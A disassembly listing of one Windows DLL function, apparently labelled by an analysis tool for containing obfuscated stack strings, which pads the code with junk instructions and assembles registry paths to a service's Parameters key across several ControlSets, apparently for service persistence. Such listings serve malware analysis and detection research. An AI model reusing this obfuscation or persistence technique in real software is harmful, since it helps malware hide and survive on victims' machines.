Function at 0x1000a8e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa24
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
nop
nop
nop
je 0x1000a8fe
nop
sub al, 0x2d
pop eax
pop eax
mov ecx, 5
mov esi, str._SystemRoot_System32
lea edi, [ebp - 0x208]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, 0x3b
xor eax, eax
lea edi, [ebp - 0x1f2]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x5c
push 0x10015506
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 8
mov dword [ebp - 0x410], eax
cmp dword [ebp - 0x410], 0
je 0x1000a957
mov eax, dword [ebp - 0x410]
push eax
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov edx, dword [str.SYSTEM_]
mov dword [ebp - 0x920], edx
mov eax, dword [0x100144d0]
mov dword [ebp - 0x91c], eax
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x918]
rep stosd dword es:[edi], eax
mov ecx, dword [str.CurrentControlSet]
mov dword [ebp - 0x81c], ecx
mov edx, dword [0x100144bc]
mov dword [ebp - 0x818], edx
mov eax, dword [0x100144c0]
mov dword [ebp - 0x814], eax
mov ecx, dword [0x100144c4]
mov dword [ebp - 0x810], ecx
mov dx, word [0x100144c8]
mov word [ebp - 0x80c], dx
mov ecx, 0x3c
xor eax, eax
lea edi, [ebp - 0x80a]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, dword [str.ControlSet001]
mov dword [ebp - 0x40c], eax
mov ecx, dword [0x100144ac]
mov dword [ebp - 0x408], ecx
mov edx, dword [0x100144b0]
mov dword [ebp - 0x404], edx
mov ax, word [0x100144b4]
mov word [ebp - 0x400], ax
mov ecx, 0x3d
xor eax, eax
lea edi, [ebp - 0x3fe]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, dword [str.ControlSet002]
mov dword [ebp - 0xa24], ecx
mov edx, dword [0x1001449c]
mov dword [ebp - 0xa20], edx
mov eax, dword [0x100144a0]
mov dword [ebp - 0xa1c], eax
mov cx, word [0x100144a4]
mov word [ebp - 0xa18], cx
mov ecx, 0x3d
xor eax, eax
lea edi, [ebp - 0xa16]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edx, dword [str.ControlSet003]
mov dword [ebp - 0x514], edx
mov eax, dword [0x1001448c]
mov dword [ebp - 0x510], eax
mov ecx, dword [0x10014490]
mov dword [ebp - 0x50c], ecx
mov dx, word [0x10014494]
mov word [ebp - 0x508], dx
mov ecx, 0x3d
xor eax, eax
lea edi, [ebp - 0x506]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, dword [str.Services_]
mov dword [ebp - 0x718], eax
mov ecx, dword [0x10014480]
mov dword [ebp - 0x714], ecx
mov dx, word [0x10014484]
mov word [ebp - 0x710], dx
mov al, byte [0x10014486]
mov byte [ebp - 0x70e], al
mov ecx, 0x3e
xor eax, eax
lea edi, [ebp - 0x70d]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov byte [ebp - 0x104], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, dword [ebp + 8]
push ecx
call fcn.1000a670
add esp, 4
mov byte [ebp - 0x614], 0
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x613]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x308], 0
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x307]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x614], 0x25
mov byte [ebp - 0x613], 0x73
mov byte [ebp - 0x612], 0x25
mov byte [ebp - 0x611], 0x73
mov byte [ebp - 0x610], 0x25
mov byte [ebp - 0x60f], 0x73
mov byte [ebp - 0x60e], 0x25
mov byte [ebp - 0x60d], 0x73
mov byte [ebp - 0x60c], 0x5c
mov byte [ebp - 0x60b], 0x50
mov byte [ebp - 0x60a], 0x61
mov byte [ebp - 0x609], 0x72
mov byte [ebp - 0x608], 0x61
mov byte [ebp - 0x607], 0x6d
mov byte [ebp - 0x606], 0x65
mov byte [ebp - 0x605], 0x74
mov byte [ebp - 0x604], 0x65
mov byte [ebp - 0x603], 0x72
nop
nop
nop
mov word [ebp - 0x602], 0x73
nop
nop
mov byte [ebp - 0x308], 0x25
mov byte [ebp - 0x307], 0x73
mov byte [ebp - 0x306], 0x25
mov byte [ebp - 0x305], 0x73
mov byte [ebp - 0x304], 0x25
mov byte [ebp - 0x303], 0x73
mov byte [ebp - 0x302], 0x25
mov byte [ebp - 0x301], 0x73
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x718]
push eax
lea ecx, [ebp - 0x81c]
push ecx
lea edx, [ebp - 0x920]
push edx
lea eax, [ebp - 0x614]
push eax
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea edx, [ebp - 0x208]
push edx
lea eax, [ebp - 0x104]
push eax
call fcn.1000a410
add esp, 8
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x718]
push edx
lea eax, [ebp - 0x81c]
push eax
lea ecx, [ebp - 0x920]
push ecx
lea edx, [ebp - 0x308]
push edx
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
push 2
lea ecx, [ebp - 0x104]
push ecx
call fcn.1000a4f0
add esp, 8
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x104]
push eax
call fcn.1000a580
add esp, 8
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x718]
push edx
lea eax, [ebp - 0x40c]
push eax
lea ecx, [ebp - 0x920]
push ecx
lea edx, [ebp - 0x614]
push edx
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea ecx, [ebp - 0x208]
push ecx
lea edx, [ebp - 0x104]
push edx
call fcn.1000a410
add esp, 8
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x718]
push ecx
lea edx, [ebp - 0x40c]
push edx
lea eax, [ebp - 0x920]
push eax
lea ecx, [ebp - 0x308]
push ecx
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
push 2
lea eax, [ebp - 0x104]
push eax
call fcn.1000a4f0
add esp, 8
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x104]
push edx
call fcn.1000a580
add esp, 8
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x718]
push ecx
lea edx, [ebp - 0xa24]
push edx
lea eax, [ebp - 0x920]
push eax
lea ecx, [ebp - 0x614]
push ecx
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea eax, [ebp - 0x208]
push eax
lea ecx, [ebp - 0x104]
push ecx
call fcn.1000a410
add esp, 8
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x718]
push eax
lea ecx, [ebp - 0xa24]
push ecx
lea edx, [ebp - 0x920]
push edx
lea eax, [ebp - 0x308]
push eax
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
push 2
lea edx, [ebp - 0x104]
push edx
call fcn.1000a4f0
add esp, 8
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x104]
push ecx
call fcn.1000a580
add esp, 8
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x718]
push eax
lea ecx, [ebp - 0x514]
push ecx
lea edx, [ebp - 0x920]
push edx
lea eax, [ebp - 0x614]
push eax
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea edx, [ebp - 0x208]
push edx
lea eax, [ebp - 0x104]
push eax
call fcn.1000a410
add esp, 8
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x718]
push edx
lea eax, [ebp - 0x514]
push eax
lea ecx, [ebp - 0x920]
push ecx
lea edx, [ebp - 0x308]
push edx
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
push 2
lea ecx, [ebp - 0x104]
push ecx
call fcn.1000a4f0
add esp, 8
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x104]
push eax
call fcn.1000a580
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret